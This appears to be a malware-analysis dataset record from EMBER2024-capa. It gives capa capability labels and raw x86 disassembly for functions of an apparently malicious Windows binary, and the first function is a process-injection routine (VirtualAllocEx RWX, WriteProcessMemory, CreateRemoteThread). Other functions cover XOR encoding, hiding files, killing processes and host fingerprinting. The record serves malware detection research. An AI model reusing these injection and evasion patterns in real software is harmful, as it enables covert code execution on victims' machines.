joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42bfd4
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.004048b8
mov eax, dword [ebp - 8]
call fcn.004048b8
xor eax, eax
push ebp
push 0x42c1bd
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x462b70]
cmp byte [eax], 0
jne 0x42c015
call fcn.004344f0
test bl, bl
je 0x42c0a9
cmp dword [ebp - 4], 0
jne 0x42c030
lea eax, [ebp - 4]
mov edx, 0x42c1d8
call fcn.00404484
lea eax, [ebp - 0x6c]
mov edx, 0x44
call fcn.00406f0c
lea eax, [ebp - 0x28]
mov edx, 0x10
call fcn.00406f0c
mov dword [ebp - 0x6c], 0x44
mov word [ebp - 0x3c], 0
mov dword [ebp - 0x40], 1
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004048c8
mov esi, eax
push esi
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x42c0a4
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push esi
call sub.kernel32.dll_CreateProcessA
mov esi, dword [ebp - 0x28]
jmp 0x42c0cc
mov byte [ebp - 9], 0
test esi, esi
je 0x42c1a2
push esi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov esi, eax
test esi, esi
je 0x42c1a2
push 0x40
push 0x1000
mov eax, dword [ebp - 8]
call fcn.004046c8
push eax
push 0
push esi
call fcn.00426a40
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x42c108
push 0x40
push 0x1000
mov eax, dword [ebp - 8]
call fcn.004046c8
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x42c1a2
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.004046c8
push eax
lea eax, [ebp - 8]
call fcn.00404920
push eax
mov eax, dword [ebp - 0x10]
push eax
push esi
call fcn.00426ad8
mov eax, dword [ebp - 8]
call fcn.004046c8
sub eax, 2
cdq
push edx
push eax
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x42c154
cmp eax, dword [esp]
pop edx
pop eax
jae 0x42c178
jmp 0x42c158
pop edx
pop eax
jge 0x42c178
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.004046c8
push eax
lea eax, [ebp - 8]
call fcn.00404920
push eax
mov eax, dword [ebp - 0x10]
push eax
push esi
call sub.kernel32.dll_WriteProcessMemory
lea eax, [ebp - 0x18]
push eax
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
push 0
push 0
push esi
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
test bl, bl
jne 0x42c19a
push esi
call sub.kernel32.dll_CloseHandle
test edi, edi
jbe 0x42c1a2
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42c1c4
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404410
ret
Function at 0x42f9b0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], ecx
mov edi, edx
mov ebp, eax
mov eax, ebp
call fcn.004046c8
mov edx, eax
mov eax, dword [esp]
call fcn.004049f8
mov eax, ebp
call fcn.004046c8
mov esi, eax
test esi, esi
jle 0x42fa0c
mov ebx, 1
mov eax, edi
call fcn.004046c8
push eax
mov eax, ebx
dec eax
pop edx
mov ecx, edx
cdq
idiv ecx
mov al, byte [edi + edx]
mov dl, byte [ebp + ebx - 1]
xor al, dl
push eax
mov eax, dword [esp + 4]
call fcn.00404920
pop edx
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x42f9df
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x42fc64
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.004048c8
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x42fc92
test bl, 2
jne 0x42fc92
or ebx, 2
push ebx
mov eax, esi
call fcn.004048c8
push eax
call sub.kernel32.dll_SetFileAttributesA
pop esi
pop ebx
ret

Function at 0x42ff28
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
mov eax, dword [ebp - 8]
call fcn.004048b8
xor eax, eax
push ebp
push 0x42ff8d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 8]
call fcn.004048c8
push eax
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb ebx, ebx
inc ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42ff94
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404410
ret

Function at 0x430338
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
xor esi, esi
or edi, 0xffffffff
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x3c
call fcn.004030cc
mov dword [ebp - 0x4c], 0x3c
mov dword [ebp - 0x48], 0x40
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 4]
call fcn.004048c8
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 8]
call fcn.004048c8
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xc]
call fcn.004048c8
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x4c]
push eax
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x4303de
push 1
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetExitCodeProcess
test bl, bl
je 0x4303c9
inc esi
cmp esi, 0x7530
jg 0x4303d2
cmp dword [ebp - 0x10], 0x103
je 0x4303a8
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle
mov edi, dword [ebp - 0x10]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4303ec
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x43046b
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.004321c4
mov edx, dword [ebp - 4]
mov eax, 0x430480
call fcn.00430c9c
test eax, eax
jle 0x430433
push 0
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
call fcn.0043083c
mov ebx, eax
jmp 0x430455
push esi
push 0x43048c
push 0x43048c
mov eax, dword [ebp - 4]
call fcn.00404c1c
push eax
push 0x430490
push 0
call sub.shell32.dll_ShellExecuteW
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x430472
lea eax, [ebp - 4]
call fcn.00404a8c
ret
Function at 0x43083c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff90
push ebx
xor ebx, ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.00404f40
lea eax, [ebp - 8]
call fcn.00404f40
lea eax, [ebp - 0xc]
call fcn.00404f40
xor eax, eax
push ebp
push 0x430a10
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.00404d48
je 0x4308bf
push 0x430a24
push dword [ebp - 4]
push 0x430a2c
push dword [ebp - 8]
lea eax, [ebp - 0x68]
mov edx, 4
call fcn.00404d00
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x64]
call fcn.004081ec
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 8]
call fcn.00404aec
lea eax, [ebp - 0x60]
mov edx, 0x44
call fcn.00406f0c
lea eax, [ebp - 0x1c]
mov edx, 0x10
call fcn.00406f0c
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov word [ebp - 0x30], 0
mov eax, dword [ebp - 0xc]
xor edx, edx
call fcn.00404d48
jne 0x430966
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404c1c
push eax
mov eax, dword [ebp - 4]
call fcn.00404c1c
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4309d5
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x6c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404c98
mov eax, dword [ebp - 0x6c]
call fcn.00404c1c
push eax
push 0
call sub.kernel32.dll_CreateProcessW
jmp 0x4309d5
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404c1c
mov ebx, eax
push ebx
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404c1c
push eax
mov eax, dword [ebp - 4]
call fcn.00404c1c
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4309d5
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x70]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404c98
mov eax, dword [ebp - 0x70]
call fcn.00404c1c
push eax
push 0
call sub.kernel32.dll_CreateProcessW
mov eax, dword [ebp - 0x1c]
mov ebx, eax
cmp byte [ebp + 8], 0
je 0x4309e8
push 0xffffffffffffffff
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x430a17
lea eax, [ebp - 0x70]
mov edx, 4
call fcn.00404aa4
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404aa4
ret
Function at 0x430a34
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff90
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.004048b8
mov eax, dword [ebp - 8]
call fcn.004048b8
mov eax, dword [ebp - 0xc]
call fcn.004048b8
xor eax, eax
push ebp
push 0x430c2d
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x430ab5
push 0x430c48
push dword [ebp - 4]
push 0x430c54
push dword [ebp - 8]
lea eax, [ebp - 0x68]
mov edx, 4
call fcn.00404788
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x64]
call fcn.0040819c
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 8]
call fcn.00404484
lea eax, [ebp - 0x60]
mov edx, 0x44
call fcn.00406f0c
lea eax, [ebp - 0x1c]
mov edx, 0x10
call fcn.00406f0c
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
test ebx, ebx
je 0x430b08
mov word [ebp - 0x30], 5
push 0
push 0x10000000
push 0
push 0
push 0
mov eax, ebx
call fcn.004048c8
mov esi, eax
push esi
call sub.user32.dll_CreateDesktopA
mov dword [ebp - 0x58], esi
jmp 0x430b10
mov ax, word [ebp + 8]
mov word [ebp - 0x30], ax
cmp dword [ebp - 0xc], 0
jne 0x430b83
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004048c8
push eax
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x430bf2
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x6c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404714
mov eax, dword [ebp - 0x6c]
call fcn.004048c8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
jmp 0x430bf2
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004048c8
mov ebx, eax
push ebx
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004048c8
push eax
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x430bf2
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x70]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404714
mov eax, dword [ebp - 0x70]
call fcn.004048c8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
mov eax, dword [ebp - 0x1c]
mov ebx, eax
cmp byte [ebp + 0x10], 0
je 0x430c05
push 0xffffffffffffffff
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x430c34
lea eax, [ebp - 0x70]
mov edx, 4
call fcn.00404410
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404410
ret
Function at 0x430d28
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd88
push ebx
xor ebx, ebx
mov dword [ebp - 0x278], ebx
mov dword [ebp - 0x274], ebx
mov dword [ebp - 0x270], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
call fcn.00404f40
lea eax, [ebp - 0xc]
call fcn.00404f40
xor eax, eax
push ebp
push 0x430ebd
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x44]
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.00430c58
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x270]
mov ecx, 0x430ed0
mov edx, dword [ebp - 0x10]
call fcn.00404c98
mov eax, dword [ebp - 0x270]
call fcn.00404c1c
push eax
call sub.kernel32.dll_FindFirstFileW
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x430e6b
xor eax, eax
push ebp
push 0x430e64
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
lea edx, [ebp - 0x240]
mov ecx, 0x104
call fcn.00404bf0
mov eax, dword [ebp - 0x18]
mov edx, 0x430ed8
call fcn.00404d48
je 0x430e39
mov eax, dword [ebp - 0x18]
mov edx, 0x430ee0
call fcn.00404d48
je 0x430e39
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
call fcn.00404c98
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call fcn.00430c9c
test eax, eax
jle 0x430e39
lea edx, [ebp - 0x274]
mov eax, dword [ebp - 0x14]
call fcn.004322e8
mov edx, dword [ebp - 0x274]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x26c]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_FindNextFileW
test eax, eax
jne 0x430dcf
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x430e6b
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_FindClose_1
ret
lea edx, [ebp - 0x278]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0x278]
mov eax, dword [ebp + 8]
call fcn.00404c0c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x430ec4
lea eax, [ebp - 0x278]
mov edx, 2
call fcn.00404410
lea eax, [ebp - 0x270]
call fcn.00404a8c
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00404aa4
ret
Function at 0x43118c
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
xor eax, eax
push ebp
push 0x431248
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x431228
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x43121e
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov dword [esi], eax
push 4
push 0x1000
mov eax, dword [esi]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 8], eax
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [esi]
push eax
mov eax, dword [ebp - 8]
push eax
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x431232
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43124f
lea eax, [ebp - 4]
call fcn.004043ec
ret

Function at 0x431374
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov edi, eax
mov eax, edi
call fcn.004056f0
mov esi, eax
push esi
mov eax, dword [ebp - 4]
mov ecx, 1
mov edx, dword [0x43134c]
call fcn.004058cc
add esp, 4
mov edx, esi
dec edx
test edx, edx
jl 0x4313bd
inc edx
xor eax, eax
mov ecx, esi
sub cl, al
xor cl, byte [edi + eax]
mov ebx, dword [ebp - 4]
mov ebx, dword [ebx]
mov byte [ebx + eax], cl
inc eax
dec edx
jne 0x4313aa
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x431878
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0xc], ecx
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
xor eax, eax
push ebp
push 0x4319b8
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0x138]
mov eax, dword [ebp - 4]
call fcn.00407f74
mov edx, dword [ebp - 0x138]
lea eax, [ebp - 4]
call fcn.00404484
xor edx, edx
mov eax, 2
call fcn.0040fa8c
mov esi, eax
mov dword [ebp - 0x134], 0x128
lea edx, [ebp - 0x134]
mov eax, esi
call fcn.0040faac
mov edi, eax
jmp 0x43197c
lea eax, [ebp - 0x140]
lea edx, [ebp - 0x110]
mov ecx, 0x104
call fcn.0040465c
mov eax, dword [ebp - 0x140]
lea edx, [ebp - 0x13c]
call fcn.00408bfc
mov eax, dword [ebp - 0x13c]
lea edx, [ebp - 0xc]
call fcn.00407f74
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404814
jne 0x43196d
mov bl, 1
call sub.kernel32.dll_GetCurrentProcessId
cmp eax, dword [ebp - 0x12c]
je 0x431967
push 0
mov eax, dword [ebp - 0x12c]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
cmp byte [ebp - 5], 0
je 0x431984
lea edx, [ebp - 0x134]
mov eax, esi
call fcn.0040facc
mov edi, eax
test edi, edi
jne 0x4318fe
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4319bf
lea eax, [ebp - 0x140]
mov edx, 3
call fcn.00404410
lea eax, [ebp - 0xc]
call fcn.004043ec
lea eax, [ebp - 4]
call fcn.004043ec
ret

Function at 0x4319c8
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
mov ebx, eax
test ebx, ebx
jbe 0x4319ed
call sub.kernel32.dll_GetCurrentProcessId
cmp ebx, eax
je 0x4319ed
push 0
push ebx
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov eax, esi
pop esi
pop ebx
ret

Function at 0x431a54
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
xor eax, eax
push ebp
push 0x431ad8
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
test esi, esi
je 0x431ac2
push 0
push 0
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
je 0x431ac2
push 0
lea eax, [ebp - 0xc]
push eax
push esi
mov eax, dword [ebp - 8]
push eax
push edi
call sub.kernel32.dll_WriteFile_1
cmp eax, 1
sbb ebx, ebx
inc ebx
push edi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x431adf
lea eax, [ebp - 4]
call fcn.004043ec
ret
Function at 0x431b68
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov dword [esp + 4], ecx
mov dword [esp], edx
mov ebp, eax
mov eax, dword [esp]
call fcn.004046c8
mov edi, eax
mov eax, dword [esp]
call fcn.004046c8
mov esi, eax
test esi, esi
jle 0x431ba3
mov ebx, 1
mov eax, dword [esp]
movzx eax, byte [eax + ebx - 1]
xor edi, eax
inc ebx
dec esi
jne 0x431b95
mov eax, dword [esp + 4]
mov edx, ebp
call fcn.00404440
mov eax, ebp
call fcn.004046c8
mov esi, eax
test esi, esi
jle 0x431bd9
mov ebx, 1
mov eax, dword [esp + 4]
call fcn.00404920
mov edx, edi
xor dl, byte [ebp + ebx - 1]
not dl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x431bc0
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x431cb8
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffc00
mov esi, edx
mov edi, eax
mov eax, esi
call fcn.004043ec
mov eax, esp
mov edx, 2
call fcn.00406f0c
push 0x400
lea eax, [esp + 4]
push eax
mov eax, edi
call fcn.004048c8
mov ebp, eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableA
mov ebx, eax
cmp ebx, 0x400
jge 0x431d09
mov edx, esp
mov eax, esi
mov ecx, ebx
call fcn.004044dc
jmp 0x431d22
mov edx, ebx
dec edx
mov eax, esi
call fcn.004049f8
push ebx
mov eax, dword [esi]
call fcn.004048c8
push eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableA
add esp, 0x400
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4324b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebp, ecx
mov edi, edx
mov esi, eax
xor ebx, ebx
mov dword [esp + 8], 4
push esp
push 0x20119
push 0
mov eax, edi
call fcn.004048c8
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x432513
lea eax, [esp + 8]
push eax
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x14]
push eax
push 0
mov eax, ebp
call fcn.004048c8
push eax
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x432513
cmp dword [esp + 0xc], 4
jne 0x432513
mov ebx, dword [esp + 4]
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x432528
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, ebx
call fcn.004043ec
mov dword [ebp - 0xc], pe_nt_image_headers32
lea eax, [ebp - 0x110]
mov edx, dword [ebp - 0xc]
call fcn.00406f0c
lea eax, [ebp - 8]
push eax
push 0x20119
push 0
mov eax, edi
call fcn.004048c8
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4325b6
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4325b6
cmp dword [ebp - 0x10], 1
jne 0x4325b6
mov eax, ebx
lea edx, [ebp - 0x110]
mov ecx, pe_nt_image_headers32
call fcn.0040465c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x433b8c
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x433cb4
Capabilities:
Get session user name

Disassembly:
push ebx
add esp, 0xfffffdf8
mov ebx, eax
lea eax, [esp + 4]
mov edx, 0x202
call fcn.00406f0c
mov dword [esp], 0x202
push esp
lea eax, [esp + 8]
push eax
call sub.advapi32.dll_GetUserNameW
test eax, eax
je 0x433cee
mov edx, dword [esp]
dec edx
mov eax, ebx
call fcn.00404ef8
jmp 0x433cf5
mov eax, ebx
call fcn.00404a8c
mov eax, ebx
lea edx, [esp + 4]
mov ecx, 0x101
call fcn.00404bf0
add esp, 0x208
pop ebx
ret

Function at 0x433d10
Capabilities:
Get session user name

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
lea eax, [esp + 4]
mov edx, 0x101
call fcn.00406f0c
mov dword [esp], 0x101
push esp
lea eax, [esp + 8]
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x433d4a
mov edx, dword [esp]
dec edx
mov eax, ebx
call fcn.004049f8
jmp 0x433d51
mov eax, ebx
call fcn.004043ec
mov eax, ebx
lea edx, [esp + 4]
mov ecx, 0x101
call fcn.0040465c
add esp, 0x108
pop ebx
ret

Function at 0x433d6c
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
xor edx, edx
mov dword [ebp - 0x2c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x433de8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x26]
xor ecx, ecx
mov edx, 0x22
call fcn.004030cc
mov dword [ebp - 4], 0x11
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x26]
push eax
call sub.kernel32.dll_GetComputerNameW
test eax, eax
je 0x433dcb
lea eax, [ebp - 0x2c]
lea edx, [ebp - 0x26]
mov ecx, 0x11
call fcn.00404bf0
mov eax, dword [ebp - 0x2c]
mov edx, ebx
call fcn.004322e8
jmp 0x433dd2
mov eax, ebx
call fcn.004043ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x433def
lea eax, [ebp - 0x2c]
call fcn.00404a8c
ret